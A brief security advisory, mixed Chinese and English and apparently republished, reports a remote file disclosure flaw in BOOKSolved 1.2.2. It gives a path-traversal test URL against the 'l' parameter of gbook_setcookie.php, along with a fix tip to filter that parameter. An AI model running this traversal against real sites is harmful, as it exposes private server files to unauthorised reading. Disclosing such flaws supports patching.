标题：BOOKSolved 1.2.2 (l) Remote File Disclosure Vulnerability 

Discovered by bd0rk   www.2cto.com

测试平台: Ubuntu-Linux 

开发者: http://www.usolved.net/ 

下载地址: http://www.usolved.net/scripts/booksolved_v1.2.2.zip 

测试: http://www.2cto.com /[path]/inc/gbook_setcookie.php?l=../../R3adIn.php 

修复：过滤该页面

---------------------------------------------------------------------------- 

描述：

gbook_setcookie.php line 7代码缺陷只是攻击者能read in sensitive files about l-parameter. 

bd0rk's-Fixtip: Percolate the l-parameter before $_GET  

Greetings from Germany, the 22 years old bd0rk.